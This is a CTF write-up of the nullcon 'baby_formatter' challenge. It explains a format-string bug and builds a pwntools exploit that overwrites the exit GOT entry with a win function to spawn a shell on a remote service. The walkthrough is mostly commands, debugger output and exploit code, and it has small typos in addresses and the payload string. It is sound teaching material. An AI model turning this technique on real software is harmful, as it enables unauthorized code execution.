Format Strings - GOT Overwrite - I

I always hated the formatted strings bugs or never understood it concisely, Therefore I’m writing to explain myself when I took out the challenge of nullcon ctf, baby_formatter.

lets start with analyzing the binary with our file command as we can see that our binary is 64 bit and dynamically linked

└─$ file baby_formatter 
baby_formatter: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f9112e0876c218b75aa58a45c20ed0308f5da722, for GNU/Linux 3.2.0, not stripped

lets checksec the binary and see what are the mitigations implemented into the binary. Great we can see partial RELRO is present which means the GOT is above the program variables and NX enabled which means out own shellcode can’t be injected into the binary.

└─$ pwn checksec baby_formatter
[*] '/home/kali/baby_formatter'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Now lets open our file in ghidra to see what our binary for the interesting functions. When we open our on the left, we can see the symbol table where we have two interesting functions. main and win

Untitled

When we open the main function in the ghidra decompiler, we can see that we have a local variable local_78 which take value from standard input and print out when the printf function is called. Apart from that we can confirm that the author has implement the proper size check which will not cause the buffer to overflow. And also the program will never return since we have a exit(1) function which is FUN_004010e0(1). what can we do now ?

Untitled

As we can see that it takes input and return the input to the output with printf as we see in ghidra and prints bye! then exit(1)

Untitled

Now if we give our input as %d we can see that we get unexpected output -129881392

Untitled

now lets display our value in hexadecimal by using %x and now this time we give multiple %x %x %x we see we get hex output now lets go further and add 4 ‘A’ and form a payload like

AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x we can see that we have 41414141 which is the exact replica of AAAA in hexadecimal. Which means we can read the values somewhere on the stack by insert our own data using C formatter

Untitled

In printf there is a formatter which helps in executing function $n, now if our function return want to write the return function the value we want may something like /bin/bash. Now lets go back ghidra and check for the functions where we can execute /bin/bash. Fortunately we have a function where we can write invoke /bin/bash, now let grep the function address of win.

Untitled

we can execute objdump to grep the win function address

└─$ objdump -t ./baby_formatter| grep win    
00000000004011d6 g     F .text  0000000000000047              win
 

Now we need to know where our return function or the last exit function of the program.

lets open our gdb and try to find our exit function exit(1), we can see that we have a exit@plt. Disassemble the main exit@plt function, we can see that it jumps to exit@got address 0x404040.

pwndbg> disass main
Dump of assembler code for function main:
   0x000000000040121d <+0>:     endbr64
   0x0000000000401221 <+4>:     push   rbp
   0x0000000000401222 <+5>:     mov    rbp,rsp
   0x0000000000401225 <+8>:     add    rsp,0xffffffffffffff80
   0x0000000000401229 <+12>:    mov    rax,QWORD PTR fs:0x28
   ....
   0x00000000004012be <+161>:   mov    rdi,rax
   0x00000000004012c1 <+164>:   mov    eax,0x0
   0x00000000004012c6 <+169>:   call   0x4010a0 <printf@plt>
   0x00000000004012cb <+174>:   lea    rax,[rip+0xdab]        # 0x40207d
   0x00000000004012d2 <+181>:   mov    rdi,rax
   0x00000000004012d5 <+184>:   call   0x401090 <puts@plt>
   0x00000000004012da <+189>:   mov    edi,0x1
   0x00000000004012df <+194>:   call   0x4010e0 <exit@plt>
End of assembler dump.
pwndbg> disass 0x4010e0
Dump of assembler code for function exit@plt:
   0x00000000004010e0 <+0>:     endbr64
   0x00000000004010e4 <+4>:     bnd jmp QWORD PTR [rip+0x2f55]        # 0x404040 <exit@got.plt>
   0x00000000004010eb <+11>:    nop    DWORD PTR [rax+rax*1+0x0]
End of assembler dump.
pwndbg> x 0x404040
0x404040 <exit@got.plt>:        0x00401080

Now lets set a break point break *0x4010e0 in exit@plt entry, now run the program input anything, when the break point hits. Lets access memory of our exit@got.plt, x 0x404040 and set the memory of the address 0x404040 to our win function address 0x0411d6 then access the memory of address 0x404040 again to check the value is modified by our win address 0x0411d6, continue the function we get win.

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> disass 0x4010e0
Dump of assembler code for function exit@plt:
=> 0x00000000004010e0 <+0>:     endbr64
   0x00000000004010e4 <+4>:     bnd jmp QWORD PTR [rip+0x2f55]        # 0x404040 <exit@got.plt>
   0x00000000004010eb <+11>:    nop    DWORD PTR [rax+rax*1+0x0]
End of assembler dump.
pwndbg> x 0x404040
0x404040 <exit@got.plt>:        0x00401080
pwndbg> set {int}0x404040=0x4011d6
pwndbg> x 0x404040
0x404040 <exit@got.plt>:        0x004011d6
pwndbg> c
Continuing.
huh? how did you find me???
oh well here is your shellprocess 276363 is executing new program: /usr/bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x4010e0

Now our goal is clear and concise that somehow we have to overwrite the exit address of the got.exit function to our win function, how can we process with it. umm lets use pwn tools this time and automate manual stuff below script will print index along with reflected ‘A’s or ‘41’s

from pwn import *
 
context.log_level = "error"
 
for i in range(20):
    try:
        target = process("./baby_formatter")
        payload = f'b"AAAAAAAA.%{i}$p'
        target.sendlineafter(b"\n",payload)
        print(target.recvall(),i)
        target.close
    except:
        pass
 

Now if we convert our win address to decimal which is 4198870 . let us crafted the payload

payload = (b”%4198870x%10$nAA”) + pack(elf.got.exit) %4198870x — padding

%10$n - overwriting the value at 10 offset since our value main offset is 8 and next 2 offset of 16 bytes is use to overwrite the address

pack(elf.got.exit) — got.exit address

from pwn import *
 
context.log_level = "error"
 
elf = context.binary = ELF("./baby_formatter")
ip = targetip
port = targetport
io = remote(ip,port)
payload = (b"%4198870x%10$nAA") + pack(elf.got.exit)
io.sendline(payload)
io.interactive()   
 

executing we will get the flag

Untitled